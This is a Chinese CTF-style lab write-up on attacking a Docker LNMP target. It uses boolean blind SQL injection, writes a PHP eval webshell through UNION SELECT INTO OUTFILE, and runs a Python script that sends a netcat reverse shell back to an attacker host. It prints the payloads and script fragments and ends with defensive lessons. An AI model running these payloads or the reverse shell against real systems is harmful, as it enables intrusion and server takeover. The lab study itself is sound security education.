基于SQL布尔盲注与联合查询的WEB渗透
0x00 靶机环境
基于
LNMP
框架,通过GET
方式提交参数id
靶机源码:
./target
渗透程序源码:
./poc/sqli-getshell.py
靶机编译方式:
cd ./target docker-compose up -d sudo chmod 777 www -R # 给 www 写权限,便于后续webshell写入
- 在手动测试时没有检测到
WAF
,union select
正常执行,可以联合查询注入 - 查询错误不回显错误信息,仅返回
WRONG
,无法进行报错注入,可以布尔盲注 load_file("/etc/passwd")
可执行,into outfile('/tmp/tmp')
可执行,有机会写入WEBSHELL
- 注入
version()
命令,查询到MySQL
的版本较低,植入的WEBSHELL
可能具有644
及以上的权限,外部用户可读
0x02 靶机源码分析
./mysql/init/privileges.sql
:授予所有用户file
权限./mysql/my.cnf
:关闭MySql
文件读写控制./php/Dockerfile
:php
容器中安装了netcat
,可以执行nc
命令反弹shell
./docker-compose.yml
:php
与mysql
容器同时映射了/var/www/html
,可以直接将WEBSHELL
写入站点根目录;同时,MySQL
版本为5,导出的WEBSHELL
外部用户可读,即php
解释器可解释
0x03 渗透脚本编写
源码:
./poc/sqli-getshell.py
整个攻击脚本使用
Python3
编写,主要利用requests
库与服务器交互由于涉及
os.system('nc xxx')
等命令,脚本需要在Linux
环境下运行
A. 布尔盲注获取数据
核心
payload
:and
拼接注入的命令,利用ascii()
与substr()
等函数逐字符猜测,循环测试得到所需信息?id=1 and ascii(substr(database(),{index},{index}))<{x}--+
B. 联合查询写入木马
核心
payload
:通过union select
,将一句话木马写入后端服务器?id=2988 union select 1,2, \"<?php eval(@$_POST['xiabee']);?>\" into outfile '/var/www/html/{}'
木马随机命名,避免重复执行时因文件名冲突而异常终止:
filename = rand_str(6)+'.php'
C. PYTHON 开启本地NC
核心
payload
:打开nc
监听,等待受害者机器上线os.system('nc -nvlp {port}'.format(xport))
D. PHP 命令反弹SHELL
核心
payload
:由上述代码可知,变量$xiabee
可以实现任意命令执行,这里通过python
的requests
发送php
的system()
命令,实现nc
,连接攻击者主机:payload = "system(\'nc -v {ip_of_attacker} {port} -e /bin/bash\');" data = {'xiabee': payload} r = requests.post(url = new_url, data = data)
E. FORK() 开启子进程
由于需要本地开启
nc
,会导致进程阻塞,无法发送payload
,故通过os.fork()
开启子进程,通过两个进程分别执行nc
和send payload
需要确保
nc
开启后再发送payload
,故在send payload
进程中sleep
一段时间pid = os.fork() if pid != 0: os.system('nc -nvlp {}'.format(xport)) else: time.sleep(8) # sleep until nc process already started data = {'xiabee': payload} r = requests.post(url = new_url, data = data)
F. 输出优化
保留并输出部分布尔盲注过程,减少程序停顿时间,便于攻击者观察程序是否正在运行
添加
[+][-]
等标记,便于观察程序CLI
输出
0x04 渗透结果
- 查询整个
security
库,包含user, flag
等表单,获得核心表单flag
表的flag
字段:FLAG{W2LC0M2_T@_THE_CTF_W021D!}
- 写入
WEBSHELL
并解析,反弹shell
成功
WEBSHELL
命令执行成功,拿下容器控制权:
0x05 渗透心得
- 本次
SQL
注入原理比较简单,仅通过布尔盲注和联合查询进行各项操作,但环境的搭建远比我想象的复杂的多…最开始直接运行去年编写的LNMP
环境,发现libssl
库更新,导致php
容器无法运行…最后被迫在Dockerfile
中写入手动安装旧版本libssl
的命令 - 在注入的实践过程中也遇到了许多问题:比如
WEBSHELL
写入无回显,重复执行导致命名冲突;nc
阻塞进程,导致payload
无法发送等…后面联想到操作系统课程中学到的进程通信等知识,意识到可以通过创建子进程来处理阻塞的问题;而随机化文件名是迫不得已,虽然巧妙的避开的重名的风险,但是每次执行都产生新的WEBSHELL
,实战中会增加被受害者发现的可能性,实验中也增加了删除废弃WEBSHELL
的工作量… - 有输入的地方就有攻击,有服务的地方就有攻击面…自己编写服务程序时需要多加注意,努力减小攻击面
0x06 渗透总结
- 容器隔离具有局限性,不同容器拥有相同的目录映射时,会增大攻击面,可能会导致容器间的攻击
- 外部用户拥有站点根目录的写入权限时,给
getshell
创造了可能
务的地方就有攻击面…自己编写服务程序时需要多加注意,努力减小攻击面
0x06 渗透总结
- 容器隔离具有局限性,不同容器拥有相同的目录映射时,会增大攻击面,可能会导致容器间的攻击
- 外部用户拥有站点根目录的写入权限时,给
getshell
创造了可能 Mysql
服务开启任意文件读写后需及时关闭,否则极大增加攻击面